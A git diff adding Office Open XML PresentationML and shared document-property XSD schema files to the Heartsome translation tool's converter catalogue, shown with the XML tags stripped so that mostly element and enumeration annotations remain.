Placeholder + + + + + + Parallel Time Node + + + + + Parallel TimeNode + + + + + + + + + Next Action Type Enum ( None ) + + + + + Next Action Type Enum ( Seek ) + + + + + + + Previous Action Type + + + + + Previous Action Type Enum ( None ) + + + + + Previous Action Type Enum ( Skip Timed ) + + + + + + + Sequence TimeNode + + + + + Common TimeNode Properties + + + + + Previous Conditions List + + + + + Next Conditions List + + + + + + Previous + + + + + Next + + + + + Concurrency + + + + + Previous Action + + + + + Next Action + + + + + + Exclusive TimeNode + + + + + Common TimeNode Properties + + + + + + + + + + + + + + Additive Enum ( Base ) + + + + + Additive Enum ( Sum ) + + + + + Additive Enum ( Replace ) + + + + + Additive Enum ( Multiply ) + + + + + + + + Accumulate + + + + + Accumulate Enum ( None ) + + + + + Accumulate Enum ( Always ) + + + + + + + + + + Transform Type Enum ( at Image ) + + + + + + + Override + + + + + Override Enum ( Normal ) + + + + + Override Enum ( Child Style ) + + + + + + + + + + + + + + + Transform Type + + + + + + + + + + + Boolean + + + + Value + + + + + + Integer + + + + Value + + + + + + Float + + + + Value + + + + + + String + + + + Value + + + + + + Variant + + + + + Boolean + + + + + Integer + + + + + Float + + + + + String + + + + + Color + + + + + + + Animation Time + + + + + + Animation Value + + + + + Value + + + + + + Time + + + + + Formula + + + + + + + + + + + + + Calc Mode Enum ( Discrete ) + + + + + Calc Mode Enum ( Linear ) + + + + + Calc Mode Enum ( Formula ) + + + + + + + + + Value Type Enum ( String ) + + + + + Value Type Enum ( Number ) + + + + + Value Type Enum ( Color ) + + + + + + + + + + + + + + + Calculation Mode + + + + + Value Type + + + + + + + + + + + + + + + + + + + + + + + + + + + Color Space Enum ( RGB ) + + + + + Color Space Enum ( HSL ) + + + + + + + + + Direction Enum ( Clockwise ) + + + + + Direction Enum ( Counter-Clockwise ) + + + + + + + + + + + + + + Color Space + + + + + Direction + + + + + + + + Transition Enum ( In ) + + + + + Transition Enum ( Out ) + + + + + Transition Enum ( None ) + + + + + + + + + + + + Transition + + + + + + + + + + Origin Enum ( Parent ) + + + + + Origin Enum ( Layout ) + + + + + + + + + Path Edit Mode Enum ( Relative ) + + + + + Path Edit Mode Enum ( Fixed ) + + + + + + + + + + + + + + + + + + + Origin + + + + + + Path Edit Mode + + + + + + + + + + + + + + + + + + + + + + + + + + + Command Type Enum ( Event ) + + + + + Command Type Enum ( Call ) + + + + + Command Type Enum ( Verb ) + + + + + + + + + + + Command Type + + + + + + + + + + + + + + + Common MediaNode Properties + + + + + + + + + + + + Audio Media Node + + + + + Common Media Node Properties + + + + + + Is Narration + + + + + + Video MediaNode + + + + + Common Media Node Properties + + + + + + Full Screen + + + + + + Animation Build Information + + + + Shape ID + + + + + Group ID + + + + + Expand UI + + + + + + TimeLine Template + + + + + TimeNodeList + + + + + + Level + + + + + + List of TimeLine Templates + + + + + Template Effects + + + + + + + + + + + + + + + + + Template effects + + + + + + + Build Types + + + + + + Animate Background + + + + + + + Auto Advance Time + + + + + + Diagram Build Types + + + + + Diagram Build Type Enum ( Whole ) + + + + + Diagram Build Type Enum ( Depth By Node ) + + + + + Diagram Build Type Enum ( Depth By Branch ) + + + + + Diagram Build Type Enum ( Breadth By Node ) + + + + + Diagram Build Type Enum ( Breadth By Level ) + + + + + Diagram Build Type Enum ( Clockwise ) + + + + + Diagram Build Type Enum ( Clockwise-In ) + + + + + Diagram Build Type Enum ( Clockwise-Out ) + + + + + Diagram Build Type Enum ( Counter-Clockwise ) + + + + + Diagram Build Type Enum ( Counter-Clockwise-In ) + + + + + Diagram Build Type Enum ( Counter-Clockwise-Out ) + + + + + Diagram Build Type Enum ( In-By-Ring ) + + + + + Diagram Build Type Enum ( Out-By-Ring ) + + + + + Diagram Build Type Enum ( Up ) + + + + + Diagram Build Type Enum ( Down ) + + + + + Diagram Build Type Enum ( All At Once ) + + + + + Diagram Build Type Enum ( Custom ) + + + + + + + + + Diagram Build Types + + + + + + + + Chart Build Type Enum ( All At Once ) + + + + + Chart Build Type Enum ( Series ) + + + + + Chart Build Type Enum ( Category ) + + + + + Chart Build Type Enum ( Series Element ) + + + + + Chart Build Type Enum ( Category Element ) + + + + + + + + + Chart Build Types + + + + + + + + + Animate as one entity + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-base.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-base.xsd new file mode 100644 index 0000000..e8bcab2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-base.xsd @@ -0,0 +1,149 @@ + + + + + + Empty + + + + + Name string + + + + + + Direction + + + + + Direction Enumeration ( horz ) + + + + + Direction Enumeration ( vert ) + + + + + + + Index + + + + + + Index Range + + + + Slide Range Start by ID + + + + + End of a slide range + + + + + + Version + + + + + + Entry in the List of Slide Relationships + + + + + + List of Slide Relationships + + + + + + + + Custom Show ID + + + + Custom Show Identifier + + + + + + Generic list of slides + + + + + All Slides + + + + + Slide Range + + + + + Custom Show + + + + + + + Customer Data + + + + Custom XML Data Relationship ID + + + + + + + + + Customer Data List + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-comments.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-comments.xsd new file mode 100644 index 0000000..9124750 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-comments.xsd @@ -0,0 +1,105 @@ + + + + + + + Comment Author + + + + + + + Comment Author ID + + + + + Comment Author Name + + + + + Comment Author Initials + + + + + Index of Comment Author's last comment + + + + + Comment Author Color Index + + + + + + List of comment authors + + + + + Comment Author + + + + + + + List of Comment Authors + + + + + User-entered comment + + + + + Comment Position + + + + + Comment's Text Content + + + + + + + Comment Author ID + + + + + Comment Date/Time + + + + + Comment Index + + + + + + List of Comments + + + + + Comment + + + + + + + Comment List + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-ole.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-ole.xsd new file mode 100644 index 0000000..c114f0b --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-ole.xsd @@ -0,0 +1,120 @@ + + + + + + + + Application State of OLE Object + + + + OLE Object Shape ID + + + + + OLE Object Name + + + + + Show OLE Object As Icon + + + + + + + OLE Object to Follow Color Scheme + + + + + Follow Color Scheme Enum ( none ) + + + + + Follow Color Scheme Enum ( full ) + + + + + Follow Color Scheme Enum ( text + bg ) + + + + + + + Embedded OLE Object Properties + + + + + + + Color Scheme Properties for OLE Object + + + + + + Linked ( External ) OLE Object Properties + + + + + + + Update Linked OLE Objects Automatically + + + + + + OLE Object or Control + + + + + Embedded OLE Object or Control + + + + + Linked OLE Object or Control + + + + + + + + + Global Element for OLE Objects and Controls + + + + + OCX Persisted State + + + + + + + + + List of OCXs + + + + + OCX Control + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-presentation.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-presentation.xsd new file mode 100644 index 0000000..cebef0f --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-presentation.xsd @@ -0,0 +1,381 @@ + + + + + + + + + Slide Identifier + + + + + + + + Slide List Entry + + + + + + + + + + List of Slide + + + + + + + + Master Slide List Entry + + + + + + + + + List of Slide Master IDs + + + + + + + + Notes Slide Master List Entry + + + + + + + + + List of Notes Slide Master IDs + + + + + + + + Handout Master Slide List Entry + + + + + + + + + List of Handout Master Slide IDs + + + + + + + + + + + + + + + + + + + + + + + + + + + + Custom Show + + + + + Slide List + + + + + + + Custom Show Name + + + + + + + List of Custom Shows + + + + + Custom Show + + + + + + + Photo Albumb Layout Definition + + + + + + Photo Album enum for album content ( 1 pic ) + + + + + Photo Album enum for album content ( 2 pic ) + + + + + Photo Album enum for album content ( 4 pic ) + + + + + Photo Album enum for album content ( 1 pic + t ) + + + + + Photo Album enum for album content ( 2 pic + t ) + + + + + Photo Album enum for album content ( 4 pic + t ) + + + + + + + Photo Album Shape for Photo Mask + + + + + Photo Album Shape Enum ( rectangle ) + + + + + Photo Album Shape Enum ( rounded rectangle ) + + + + + Photo Album Shape Enum ( beveled rectangle ) + + + + + Photo Album Shape Enum ( oval ) + + + + + Photo Album Shape Enum ( corner tabs ) + + + + + Photo Album Shape Enum ( square tabs ) + + + + + Photo Album Shape Enum ( plaque tabs ) + + + + + + + Photo Album Definition + + + + + + + Black and White + + + + + + Photo Album Layout + + + + + + + Slide Size Coordinate + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Slide Size + + + + + + + + Kinsoku + + + + Language + + + + + Invalid Kinsoku Start Characters + + + + + Invalid Kinsoku End Characters + + + + + + Presentation + + + + + + + + + Slide Size + + + + + Size + + + + + + + List of Custom Shows + + + + + Photo Album Information + + + + + List of Customer Data Buckets + + + + + + + + Server Zoom + + + + + First Slide Number + + + + + Show Header and Footer Placeholders on Titles + + + + + Right-To-Left Views + + + + + Remove Personal Information on Save + + + + + Compatibility Mode + + + + + Strict First and Last Characters + + + + + Modify Password + + + + + + + + + Presentation + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-presentationproperties.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-presentationproperties.xsd new file mode 100644 index 0000000..29fa1a6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-presentationproperties.xsd @@ -0,0 +1,400 @@ + + + + + + + + Web browsers supported for HTML output + + + + + Web browser support enumeration ( v4 ) + + + + + Web browser support enumeration ( v3 ) + + + + + Web browser support enumeration ( v3v4 ) + + + + + + + HTML Publish Properties + + + + + HTML Publish Slide List + + + + + + + Show Speaker Notes + + + + + Browser Support Target + + + + + HTML Output Title + + + + + Publish Path + + + + + + HTML Slide Navigation Control Colors + + + + + + HTML Slide Navigation Colors ( browser ) + + + + + HTML Slide Navigation Colors ( presentation ) + + + + + HTML Slide Navigation Colors ( accent ) + + + + + HTML Slide Navigation Colors ( white on black ) + + + + + HTML Slide Navigation Colors ( black on white ) + + + + + + + HTML/Web Screen Size Target + + + + + HTML/Web Size Enumeration 544x376 + + + + + HTML/Web Size Enumeration 640x480 + + + + + HTML/Web Size Enumeration 720x515 + + + + + HTML/Web Size Enumeration 800x600 + + + + + HTML/Web Size Enumeration 1024x768 + + + + + HTML/Web Size Enumeration 1152x882 + + + + + HTML/Web Size Enumeration 1152x900 + + + + + HTML/Web Size Enumeration 1280x1024 + + + + + HTML/Web Size Enumeration 1600x1200 + + + + + HTML/Web Size Enumeration 1800x1400 + + + + + HTML/Web Size Enumeration 1920x1200 + + + + + + + Web Encoding + + + + + + HTML Properties + + + + + + + Show animation in HTML output + + + + + Resize graphics in HTML output + + + + + Allow PNG in HTML output + + + + + Rely on VML for HTML output + + + + + Organize HTML output in folders + + + + + Use long file names in HTML output + + + + + Image size for HTML output + + + + + Encoding for HTML output + + + + + Slide Navigation Colors for HTML output + + + + + + Default print output + + + + + + Print output enum ( 1 slide / handout page ) + + + + + Print output enum ( 2 slide / handout page ) + + + + + Print output enum ( 3 slides / handout page ) + + + + + Print output enum ( 4 slides / handout page ) + + + + + Print output enum ( 6 slides / handout page ) + + + + + Print output enum ( 9 slides / handout page ) + + + + + Print output enum ( notes ) + + + + + Print output enum ( outline ) + + + + + + + Print Color Mode + + + + + + Print Color Mode Enum ( gray ) + + + + + Print Color Mode Enum ( clr ) + + + + + + + Print Properties + + + + + + + Print Output + + + + + + Print Hidden Slides + + + + + Scale to Fit Paper when printing + + + + + Frame slides when printing + + + + + + Slide Show in a Window Properties + + + + Show Scroll Bar in Window + + + + + + + + Presenter Slide Show Mode + + + + + Browse Slide Show Mode + + + + + Kiosk Slide Show Mode + + + + + + + Slide Show Properties + + + + + Show Type ( Element Group ) + + + + + Slide Show Slide List + + + + + Pen Color for Slide Show + + + + + + + Loop Slide Show + + + + + Show Narration in Slide Show + + + + + Show Animation in Slide Show + + + + + Use Timings in Slide Show + + + + + + User Properties for the Presentation + + + + + + Web Properties + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-ptags.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-ptags.xsd new file mode 100644 index 0000000..e6428d4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-ptags.xsd @@ -0,0 +1,20 @@ + + + + + + + + + List of Programmable Tags + + + + + Tag + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-slide.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-slide.xsd new file mode 100644 index 0000000..6b3f7c6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-slide.xsd @@ -0,0 +1,898 @@ + + + + + + + + + + + + + Header/Footer Object + + + + + + + Slide Number Placeholder + + + + + Header Placeholder + + + + + Footer Placeholder + + + + + Date/Time Placeholder + + + + + + Placeholder IDs + + + + + Placeholder Enumeration ( Title ) + + + + + Placeholder Enumeration ( Body ) + + + + + Placeholder Enumeration ( Center Title ) + + + + + Placeholder Enumeration ( SubTitle ) + + + + + Placeholder Enumeration ( Date/Time ) + + + + + Placeholder Enumeration ( Slide Number ) + + + + + Placeholder Enumeration ( Footer ) + + + + + Placeholder Enumeration ( Header ) + + + + + Placeholder Enumeration ( Object ) + + + + + Placeholder Enumeration ( Chart ) + + + + + Placeholder Enumeration ( Table ) + + + + + Placeholder Enumeration ( ClipArt ) + + + + + Placeholder Enumeration ( Diagram ) + + + + + Placeholder Enumeration ( Media ) + + + + + Placeholder Enumeration ( Slide Image ) + + + + + Placeholder Enumeration ( Picture ) + + + + + + + Placeholder Size + + + + + Placeholder Size Enumeration ( Full ) + + + + + Placeholder Size Enumeration ( Half ) + + + + + Placeholder Size Enumeration ( Quarter ) + + + + + + + Placeholder + + + + + + + Placeholder Type + + + + + Placeholder Orientation + + + + + Placeholder Size + + + + + Placeholder Index + + + + + + + Application Non-Visual Drawing Properties + + + + + Placeholder + + + + + + Customer Data List + + + + + + + + + Non-Visual Shape Properties + + + + + Non-Visual Drawing Properties + + + + + Non-Visual Drawing Properties for a Shape + + + + + Application Non-Visual Drawing Properties + + + + + + + Shape + + + + + App Non-Visual Drawing Properties for a Shape + + + + + + + + + + + + + Non-visual connector properties. + + + + + Non-Visual Drawing Properties + + + + + Non-Visual Connector Shape Properties + + + + + Application Non-Visual Drawing Properties + + + + + + + Connector + + + + + Non-Visual Connector Shape Properties + + + + + Connector Shape Properties + + + + + Connector Shape Style + + + + + + + + + + + + + + + + + + + + + + + + Graphic Frame Non-Visual Properties + + + + + Non-Visual Drawing Properties + + + + + Non-Visual Graphic Frame Properties + + + + + Application Non-Visual Drawing Properties + + + + + + + Graphic Container + + + + + Non-Visual Graphic Frame Properties + + + + + Transform + + + + + + + + + Non-visual group shape properties + + + + + Non-visual Drawing Properties + + + + + + Application Non-Visual Drawing Properties + + + + + + + Group Shape + + + + + + + + Shape + + + + + Group Shape + + + + + Graphic Frame + + + + + Connector Shape + + + + + + + + + + Top-Level Slide Groups + + + + + Color Scheme Map + + + + + + + Child Slide Groups + + + + + Color Scheme Map Override + + + + + + + + Show Master Shapes + + + + + Show Master Placeholder Animations + + + + + + Background Shape Properties + + + + + + + + + + Background Group + + + + + Background Properties + + + + + Background Style Reference + + + + + + + Common Slide Data + + + + + + Shape Tree + + + + + + List of Tags + + + + + List of controls + + + + + + + Name + + + + + + Slide + + + + + Common slide data for slides + + + + + + Slide Transition + + + + + Slide Timing Information for a Slide + + + + + + + + Show Slide in Slide Show + + + + + + Slide + + + + + Slide Layout Type + + + + + Slide Layout Type Enumeration ( Title ) + + + + + Slide Layout Type Enumeration ( Text ) + + + + + Slide Layout Type Enumeration ( Two Column Text ) + + + + + Slide Layout Type Enumeration ( Table ) + + + + + Slide Layout Type Enumeration ( Text and Chart ) + + + + + Slide Layout Type Enumeration ( Chart and Text ) + + + + + Slide Layout Type Enumeration ( Diagram ) + + + + + Slide Layout Type Enumeration ( Chart ) + + + + + Slide Layout Type Enumeration ( Text and ClipArt + + + + + Slide Layout Type Enumeration ( ClipArt and Text) + + + + + Slide Layout Type Enumeration ( Title Only ) + + + + + Slide Layout Type Enumeration ( Blank ) + + + + + Slide Layout Type Enumeration ( Text and Object ) + + + + + Slide Layout Type Enumeration ( Object and Text ) + + + + + Slide Layout Type Enumeration ( Object only ) + + + + + + Slide Layout Type Enumeration ( Text and Media ) + + + + + Slide Layout Type Enumeration ( Media and Text ) + + + + + Slide Layout Type Enumeration ( Object over Text) + + + + + Slide Layout Type Enumeration ( Text over Object) + + + + + Slide Layout Type Enumeration ( Text and 2 Objs ) + + + + + Slide Layout Type Enumeration ( 2 obj and text ) + + + + + Slide Layout Type Enumeration ( 2 obj over text ) + + + + + Slide Layout Type Enumeration ( 4 objects ) + + + + + Slide Layout Type Enumeration ( Vertical Text ) + + + + + Slide Layout Type Enumeration ( Clipart & V. Txt) + + + + + Slide Layout Type Enumeration ( V. Title and Txt) + + + + + Slide Layout Type Enumeration ( VTaTOC ) + + + + + Slide Layout Type Enumeration ( Two Objects ) + + + + + Slide Layout Type Enumeration ( Obj and 2 Obj ) + + + + + Slide Layout Type Enumeration ( 2 Obj and Obj ) + + + + + Slide Layout Type Enumeration ( Custom ) + + + + + + + + + + + Slide Layout + + + + + Common slide data for slide layouts + + + + + + Slide Transition for a Slide Layout + + + + + Slide Timing Information for a Slide Layout + + + + + Header/Footer information for a slide layout + + + + + + + + Matching Name + + + + + Slide Layout Type + + + + + Preserve Slide Layout + + + + + + Slide Layout + + + + + Slide Master Text Styles + + + + + Title Style + + + + + Body Style + + + + + Other Text Style + + + + + + + + Slide Layout List Entry + + + + + + + + + Slide Layout List + + + + + + + + Slide Master + + + + + Common slide data for slide masters + + + + + + List of Slide Layouts + + + + + Slide Transition for a Slide Master + + + + + Slide Timing Information for Slide Masters + + + + + Header/Footer information for a slide master + + + + + Slide Master Text Styles + + + + + + + Preserve Slide Master + + + + + + + Slide Master + + + + + Handout Master + + + + + Common slide data for handout master + + + + + + Header/Footer information for a handout master + + + + + + + + Handout Master + + + + + Notes Master + + + + + Common slide data for notes master + + + + + + Header/Footer Information for a Notes Master + + + + + Notes Text Style + + + + + + + + Notes Master + + + + + Notes Slide + + + + + Common slide data for notes slides + + + + + + + + + + Notes Slide + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-slidesyncinfo.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-slidesyncinfo.xsd new file mode 100644 index 0000000..9ec47d0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-slidesyncinfo.xsd @@ -0,0 +1,28 @@ + + + + + + Properties for syncing slides + + + + + + + Server's Slide File ID + + + + + Server's Slide File's modification date/time + + + + + Client Slide Insertion date/time + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-viewproperties.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-viewproperties.xsd new file mode 100644 index 0000000..f74b5dd --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/pml-viewproperties.xsd @@ -0,0 +1,344 @@ + + + + + + + + Splitter Bar State + + + + + Splitter Bar State Enum ( min ) + + + + + Splitter Bar State Enum ( restored ) + + + + + Splitter Bar State Enum ( max ) + + + + + + + List of View Types + + + + + View Type Enum ( Normal View ) + + + + + View Type Enum ( Slide Master View ) + + + + + View Type Enum ( Notes View ) + + + + + View Type Enum ( Handout View ) + + + + + View Type Enum ( Notes Master View ) + + + + + View Type Enum ( Outline View ) + + + + + View Type Enum ( Slide Sorter View ) + + + + + + + + Normal View Dimension + + + + Normal View Dimension Size + + + + + Auto Adjust Normal View + + + + + + Normal View Properties + + + + + Normal View Restored Left Properties + + + + + Normal View Restored Top Properties + + + + + + + Show Outline Icons in Normal View + + + + + Snap Vertical Splitter + + + + + State of the Vertical Splitter Bar + + + + + State of the Horizontal Splitter Bar + + + + + Prefer Single View + + + + + + Core View Properties + + + + + View Scale + + + + + View Origin + + + + + + Variable Scale + + + + + Draft Mode + + + + + + Properties for Notes Text View + + + + + Base properties for Notes View + + + + + + + + + + + + + + + + + Properties for Outline View + + + + + Base properties for Outline View + + + + + + + + + Properties for Slide Sorter View + + + + + Base properties for Slide Sorter View + + + + + + + + + Guide Properties + + + + + + + Guide Orientation + + + + + Guide Position + + + + + + Guide List + + + + + A Guide + + + + + + + Common Slide View Properties + + + + + Base properties for Slide View + + + + + Guide List + + + + + + Snap Objects to Grid + + + + + Snap Objects to Objects + + + + + Show Guides in View + + + + + + Base slide view properties + + + + + + + + + Properties for Notes View + + + + + + + + + View state information for the Presentation + + + + + Normal View Properties + + + + + Slide View Properties + + + + + Outline View Properties + + + + + Notes Text View Properties + + + + + Slide Sorter View Properties + + + + + Notes View Properties + + + + + Grid Spacing + + + + + + + Last View + + + + + Show Comments + + + + + + View Properties + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-activex.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-activex.xsd new file mode 100644 index 0000000..ad858b2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-activex.xsd @@ -0,0 +1,115 @@ + + + + + + ActiveX Control Data + + + + + + + ActiveX Control Property + + + + + + ActiveX Control CLSID + + + + + ActiveX Control License + + + + + ActiveX Control Binary Data + + + + + ActiveX Control Property Persistence Style + + + + + + String Type + + + + + + Control Persistence Attribute Contents + + + + + Control uses IPersistPropertyBag + + + + + Control uses IPersistStream + + + + + Control uses IPersistStreamInit + + + + + Control uses IPersistStorage + + + + + + + + + + Standard COM Font Object + + + + + Standard COM Picture Object + + + + + + + ActiveX Control Property Name + + + + + ActiveX Control Property Value + + + + + + + + Font Object Property + + + + + + Font Object Property Persistence Style (optional) + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-customxmlprops.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-customxmlprops.xsd new file mode 100644 index 0000000..28b56e1 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-customxmlprops.xsd @@ -0,0 +1,34 @@ + + + + + + + + + + + + + + + + + + Custom XML Data Properties + + + + + + + Custom XML Data ID + + + + + + Custom XML Data Properties + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiescustom.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiescustom.xsd new file mode 100644 index 0000000..a3a2a76 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiescustom.xsd @@ -0,0 +1,218 @@ + + + + + + Custom File Properties + + + + + Custom File Properties + + + + + Custom File Property + + + + + + + Custom File Property Definition + + + + + Vector + + + + + Array + + + + + Binary Blob + + + + + Binary Blob Object + + + + + Empty + + + + + Null + + + + + 1-Byte Signed Integer + + + + + 2-Byte Signed Integer + + + + + 4-Byte Signed Integer + + + + + 8-Byte Signed Integer + + + + + Integer + + + + + 1-Byte Unsigned Integer + + + + + 2-Byte Unsigned Integer + + + + + 4-Byte Unsigned Integer + + + + + 8-Byte Unsigned Integer + + + + + Unsigned Integer + + + + + 4-Byte Real Number + + + + + 8-Byte Real Number + + + + + Decimal + + + + + LPSTR + + + + + LPWSTR + + + + + Basic String + + + + + Date and Time + + + + + File Time + + + + + Boolean + + + + + Currency + + + + + Error Status Code + + + + + Binary Stream + + + + + Binary Stream Object + + + + + Binary Storage + + + + + Binary Storage Object + + + + + Binary Versioned Stream + + + + + Class ID + + + + + Clipboard Data + + + + + + Format ID + + + + + Property ID + + + + + Custom File Property Name + + + + + Bookmark Link Target + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiesextended.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiesextended.xsd new file mode 100644 index 0000000..9523921 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiesextended.xsd @@ -0,0 +1,187 @@ + + + + + + Application Specific File Properties + + + + + Application Properties Complex Type + + + + + Name of Document Template + + + + + Name of Manager + + + + + Name of Company + + + + + Total Number of Pages + + + + + Word Count + + + + + Total Number of Characters + + + + + Intended Format of Presentation + + + + + Number of Lines + + + + + Total Number of Paragraphs + + + + + Slides Metadata Element + + + + + Number of Pages Containing Notes + + + + + Total Edit Time Metadata Element + + + + + Number of Hidden Slides + + + + + Total Number of Multimedia Clips + + + + + Thumbnail Display Mode + + + + + Heading Pairs + + + + + Part Titles + + + + + Links Up-to-Date + + + + + Number of Characters (With Spaces) + + + + + Shared Document + + + + + Relative Hyperlink Base + + + + + Hyperlink List + + + + + Hyperlinks Changed + + + + + Digital Signature + + + + + Application Name + + + + + Application Version + + + + + Document Security + + + + + + + VectorVariant Complex Type + + + + + Vector + + + + + + + VectorLpstr Complex Type + + + + + Vector + + + + + + + Digital Signature Blob Complex Type + + + + + Binary Blob + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiesvectortypes.xsd b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiesvectortypes.xsd new file mode 100644 index 0000000..b45a826 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/catalogue/openxml/shared-docpropertiesvectortypes.xsd @@ -0,0 +1,867 @@ + + + + + Vector Base Type Simple Type + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + Vector Base Type Enumeration Value + + + + + + + Array Base Type Simple Type + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + Array Base Type Enumeration Value + + + + + + + Currency Simple Type + + + + + + + + Error Status Code Simple Type + + + + + + + + Class ID Simple Type + + + + + + + + Format Simple Type + + + + + + + + + + + + Empty Complex Type + + + + + Null Complex Type + + + + + Vector Complex Type + + + + + Variant + + + + + 1-Byte Signed Integer + + + + + 2-Byte Signed Integer + + + + + 4-Byte Signed Integer + + + + + 8-Byte Signed Integer + + + + + 1-Byte Unsigned Integer + + + + + 2-Byte Unsigned Integer + + + + + 4-Byte Unsigned 